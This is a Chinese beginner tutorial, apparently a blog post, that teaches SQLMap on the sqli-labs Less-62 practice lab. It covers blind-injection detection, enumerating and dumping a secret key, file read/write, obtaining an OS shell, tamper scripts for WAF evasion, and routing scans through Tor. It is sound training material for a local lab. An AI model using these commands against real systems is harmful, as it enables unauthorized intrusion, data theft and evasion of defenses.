☰
新手向从0剖析漏洞之SQL注入SQLMAP——0x000c
2026/10/13 10:24:05 网站建设 项目流程

前言:这篇文章我们借助sqli-labs靶场中的综合性关卡Less-62来讲解SQLMAP的简单使用

一、通过Less-62介绍常用命令及其应用场景

Less-62关卡特点

  • GET型注入,参数id,使用SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1拼接查询
  • 查询结果不直接回显数据库内容,而是通过$unames[$row['id']]数组映射输出——这对SQLMap的自动化检测带来了天然障碍
  • 目标是从CHALLENGES数据库的随机表名、随机列名中dump出secret key,正常限制130次尝试(学习工具使用时修改代码取消限制)

1. 基础注入检测

前提:已经通过输入不同的id值0和1确认Less-62的id参数存在以是否显示Your Login name为特征的布尔盲注。因此下方的命令可加入参数--technique=B --string="Your Login name"提高效率(下面内容会做讲解)。--threads=10是多线程参数,建议加入提高效率,但过多可能会导致主机或者服务器崩溃。

# 基础检测(默认level=1, risk=1)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--technique=B--string="Your Login name"--threads=10# 指定参数,提高检测等级(Less-62的括号闭合需要更精细的payload)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"-p"id"--level=3--risk=2--technique=B--string="Your Login name"--threads=10

场景说明:Less-62的闭合方式为id=('$id'),即单引号加括号。--level提升后,SQLMap会测试更多payload变体(包括括号闭合),提高检测成功率。--risk提升会增加payload的侵入性。


发现数据库是MySQL,因此下方的命令可加入参数--dbms=MySQL提高效率。

2. 数据库枚举

# 获取所有数据库python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--dbs--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# 获取指定库的表(目标:CHALLENGES库)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"-Dchallenges--tables--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# 获取表的列名(表名随机,需先从上一步获取)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"-Dchallenges-T<随机表名>--columns--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# dump指定列的数据python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"-Dchallenges-T<随机表名>-C<secret_key列名>--dump--technique=B--string="Your Login name"--dbms=MySQL--threads=10


场景说明:这是Less-62的核心通关流程。由于表名和列名随机生成,必须通过--tables和--columns逐步探测。

3. 请求控制参数

# 使用Burp Suite导出的请求文件(适用于复杂请求,如果文件路径包含空格要使用双引号将路径括起来)python sqlmap.py-r"请求文件绝对路径"--level=3--risk=2--technique=B--string="Your Login name"--dbms=MySQL--threads=10



# 使用代理(配合Burp Suite查看流量)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--proxy="http://127.0.0.1:8080"--level=3--risk=2--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# 设置Cookie(Less-62依赖challenge cookie)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--cookie="test"# 设置User-Agentpython sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--user-agent="test"

场景说明:Less-62通过$_COOKIE['challenge']来追踪挑战状态,SQLMap发起请求时需要携带正确的Cookie,否则可能被重置。

4. 自动化与静默模式(自动化即不询问用户按默认选项执行,无法通过图片直观感受,不作展示)

# 全自动模式(自动选择默认选项)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--batch--dbs# 设置超时和重试(Less-62的reset机制可能导致请求中断)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--timeout=30--retries=2--batch

二、进阶用法及其应用场景

测试过程中,如果某个 URL 的测试结果在 SQLMap 本地会话文件中已有记录,再次运行时可能直接读取缓存,跳过注入检测或数据枚举。如果想强制重新查询数据,可以使用 --fresh-queries;如果想彻底清除所有缓存、从头开始检测和枚举,应使用 --flush-session。

1. 注入技术精确控制(–technique)

SQLMap支持6种注入技术( B布尔盲注、E报错、U联合查询、S堆叠查询、T时间盲注、Q内联查询/带外注入),用--technique参数精确控制使用哪些:

# 使用联合查询注入python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--technique=U--dbs# 使用布尔盲注+报错注入(联合查询被过滤时的备选)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--technique=BE--dbs# 使用时间盲注(最慢但最隐蔽)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--technique=T--dbs

Less-62场景分析:Less-62的查询结果通过$unames[$row['id']]数组映射输出,页面只显示预定义用户名和密码,不直接回显数据库内容。这意味着UNION注入和报错注入的检测会遇到困难,因为SQLMap需要根据页面响应差异来判断注入是否成功。此时需要结合--string或--not-string参数指定判断依据。

2. 宽字节注入的Tamper脚本

题目的参数$id直接拼接进SQL,未经过addslashes()等转义函数处理。不过,如果目标环境使用了转义,可以使用:

# 使用unmagicquotes脚本(针对GBK宽字节注入,将'替换为%df%27)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--tamper=unmagicquotes--dbs# 组合多个tamper脚本python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--tamper="unmagicquotes,space2comment"--dbs


Tamper脚本原理:unmagicquotes脚本会自动将payload中的'替换为%df%27等宽字节注入模板,与上一节0x000b中讲解的宽字节注入原理完全一致。

3. 文件读写与OS Shell

# 判断当前用户是否为DBApython sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--is-dba--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# 读取服务器文件python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--file-read="目标文件绝对路径"--technique=B--string="Your Login name"--dbms=MySQL--threads=10

# 上传文件到服务器python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--file-write="源文件"--file-dest="目标文件绝对路径"--technique=B--string="Your Login name"--dbms=MySQL--threads=10

文件上传效果同下获取OS Shell,不做展示

# 获取OS Shell(前提:DBA权限+文件写入权限)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--os-shell--technique=B--string="Your Login name"--dbms=MySQL--threads=10



场景说明:Less-62的数据库用户通常为root(sqli-labs默认配置),具有FILE权限,可以尝试文件读写。但需要注意,Less-62的数据库操作用户是否有FILE权限取决于MySQL配置。

4. 数据提取优化

# 搜索包含secret_key列的表(跨库搜索)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--search-Csecret_key

场景说明:--search -C secret_key可以跨库搜索包含该列名的表。但题目列名是随机的,仍需要先通过--tables获取表名,再通过--columns获取列名。

5. 绕过WAF/IDS的进阶策略

# 随机User-Agent + 延迟请求(降低被检测风险)python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--random-agent--delay=2# 组合tamper脚本绕过常见WAF规则python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--tamper="randomcase,space2comment,equaltolike"--random-agent


Tamper脚本组合原理:

  • randomcase:随机大小写(UNION→UnIoN)
  • space2comment:空格替换为注释(SELECT * FROM→SELECT/**/*/**/FROM)
  • equaltolike:等号替换为LIKE(id=1→id LIKE 1)
    现代WAF绕过思路:根据最新的tamper脚本集合,针对Cloudflare、AWS WAF等现代WAF已有专门脚本,如cloudflare2025.py、awswaf2026.py等。这反映了WAF绕过是一个持续对抗的过程。

三、现代常见联动工具及其联动方法

1. Burp Suite联动(SQLiPy插件)

联动原理:SQLiPy通过SQLMap API将Burp Suite与SQLMap连接起来。Burp负责捕获请求,SQLiPy将请求转发给SQLMap API进行扫描,结果回显在Burp的Scanner Results中。
配置步骤:

# 1. 启动SQLMap API服务python sqlmapapi.py-s-H127.0.0.1-p8775# 2. Burp中安装SQLiPy插件(BApp Store搜索SQLiPy)# 3. 在SQLiPy配置面板中设置API地址和sqlmapapi.py路径# 4. 在Burp的Target/Proxy中右键请求 → "SQLiPy Scan"

2. SQLMap API + Python自动化

联动原理:SQLMap通过sqlmapapi.py提供REST-JSON API,允许通过HTTP请求以编程方式控制SQLMap。API服务器作为任务管理器,每个任务对应一个独立的SQLMap进程。适合批量扫描和CI/CD流水线集成。
应用场景:自动化安全测试流水线,批量对多个注入点进行扫描。结合Python的subprocess模块或REST API,可以将SQLMap嵌入到自动化测试框架中。

由于SQLMap API是一个功能有限的任务控制接口,而非一个健壮的扫描服务。它适合在受控环境中,由脚本进行简单的、非并发的扫描任务调度,实际渗透不如直接用SQLMAP的-r功能。

3. 代理链联动

联动原理:通过--proxy参数或proxychains将SQLMap的流量路由到代理链(如Tor或企业代理),实现隐蔽扫描。

# 单代理python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--proxy="socks5://127.0.0.1:1080"# 通过proxychains使用Tor代理链(SQLMap原生不支持SOCKS代理时)proxychains4 python sqlmap.py-u"http://localhost/sqli-labs/Less-62/?id=1"--batch

后记:至此我们的sqli-labs靶场系列就结束了,但这篇文章对SQLMAP的使用讲解并不完全。实际应用中我们还能自己用python编写中转站之类的功能去对SQLMAP数据包进行更具机动性的修改,玩出很多花来。在后续SQL注入进阶靶场的讲解过程中,我们就要开始使用SQLMAP这款工具并配合手工测试,边分析漏洞原理边展示更多SQLMAP的使用方法。希望各位业内的老师傅能纠正文章的错误

(非商业用途,仅供交流学习,禁止转载)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询